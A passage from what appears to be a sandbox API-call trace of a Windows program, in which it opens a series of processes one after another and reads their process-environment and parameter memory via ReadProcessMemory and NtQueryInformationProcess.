lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.740] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x23ea7c312b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.740] malloc (_Size=0x6c) returned 0x196ef0d2120 [0166.740] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x23ea7c3190c, lpBuffer=0x196ef0d2120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0166.740] free (_Block=0x196ef0d2120) [0166.741] CloseHandle (hObject=0x26c) returned 1 [0166.742] _ui64tow_s (in: _Value=0x8d4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2260") returned 0x0 [0166.747] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2260") returned 4 [0166.749] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.749] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.767] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d4) returned 0x26c [0166.767] GetLastError () returned 0x0 [0166.767] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.767] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1163c21018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c798303780, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.769] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c7983032e8, lpBuffer=0x670ffc3f0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.770] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.772] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.772] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1163c21020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.772] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c798302c60, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.773] malloc (_Size=0x118) returned 0x196ef0d67b0 [0166.773] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c798303388, lpBuffer=0x196ef0d67b0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.774] free (_Block=0x196ef0d67b0) [0166.775] CloseHandle (hObject=0x26c) returned 1 [0166.776] _ui64tow_s (in: _Value=0x934, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2356") returned 0x0 [0166.780] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2356") returned 4 [0166.782] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.782] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x934) returned 0x26c [0166.801] GetLastError () returned 0x0 [0166.802] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.802] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc29bf78018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.802] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.803] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28460e03730, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.804] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28460e032b4, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.805] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.807] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.807] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xc29bf78020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.807] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28460e02c20, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.808] malloc (_Size=0x11a) returned 0x196ef0d67b0 [0166.808] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x28460e0334a, lpBuffer=0x196ef0d67b0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.809] free (_Block=0x196ef0d67b0) [0166.810] CloseHandle (hObject=0x26c) returned 1 [0166.810] _ui64tow_s (in: _Value=0x8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="8") returned 0x0 [0166.815] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="8") returned 1 [0166.816] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.816] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.834] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8) returned 0x26c [0166.834] GetLastError () returned 0x0 [0166.834] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.834] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x227ce00018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.835] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.835] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1db5b303490, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.835] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1db5b3030e8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.836] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.838] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.838] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x227ce00020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.838] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1db5b302ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.839] malloc (_Size=0x6a) returned 0x196ef0d2120 [0166.839] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1db5b303128, lpBuffer=0x196ef0d2120, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0166.839] free (_Block=0x196ef0d2120) [0166.840] CloseHandle (hObject=0x26c) returned 1 [0166.841] _ui64tow_s (in: _Value=0xae4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2788") returned 0x0 [0166.845] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2788") returned 4 [0166.847] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.847] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.863] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xae4) returned 0x26c [0166.863] GetLastError () returned 0x0 [0166.863] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.863] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2db7e47018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.863] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.864] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x17ffee61bd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.864] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x17ffee61818, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.865] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.866] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.866] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2db7e47020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.866] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x17ffee61200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.866] malloc (_Size=0x64) returned 0x196ef0d03e0 [0166.866] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x17ffee61864, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0166.867] free (_Block=0x196ef0d03e0) [0166.868] CloseHandle (hObject=0x26c) returned 1 [0166.869] _ui64tow_s (in: _Value=0xb40, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2880") returned 0x0 [0166.873] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2880") returned 4 [0166.874] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.874] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0166.892] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb40) returned 0x26c [0166.892] GetLastError () returned 0x0 [0166.892] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0166.893] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x100358018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0166.893] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0166.893] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1822c721c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0166.893] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670ffc3f0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0166.894] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0166.895] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0166.895] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x100358020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0166.896] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0166.896] malloc (_Size=0x72) returned 0x196ef0d2120 [0166.896] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0166.896] free (_Block=0x196ef0d2120) [0166.897] CloseHandle (hObject=0x26c) returned 1 [0166.980] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0166.984] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1192") returned 4 [0166.985] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70ffc9a0, szCSDVersion="\x06") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0166.985] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.003] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x26c [0167.003] GetLastError () returned 0x0 [0167.003] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.003] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x251d53018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.496] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.516] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x170b8103510, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.527] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x170b810312a, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.546] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.548] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.548] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x251d53020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.557] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.565] malloc (_Size=0xd6) returned 0x196ef0d67b0 [0167.565] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d67b0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.582] free (_Block=0x196ef0d67b0) [0167.583] CloseHandle (hObject=0x26c) returned 1 [0167.583] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0167.589] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="728") returned 3 [0167.590] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.590] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.611] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0167.611] CloseHandle (hObject=0x0) returned 0 [0167.612] _ui64tow_s (in: _Value=0x614, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0167.617] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1556") returned 4 [0167.640] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.640] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.659] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x26c [0167.659] GetLastError () returned 0x0 [0167.660] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0167.660] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xe246cb3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0167.660] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0167.660] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0167.660] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0167.662] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0167.664] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0167.664] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0xe246cb3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.664] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0167.664] malloc (_Size=0x7e) returned 0x196ef0d31b0 [0167.664] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0d31b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0167.665] free (_Block=0x196ef0d31b0) [0167.678] CloseHandle (hObject=0x26c) returned 1 [0167.679] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0167.684] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3456") returned 4 [0167.685] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0167.685] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0167.725] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x26c [0167.725] GetLastError () returned 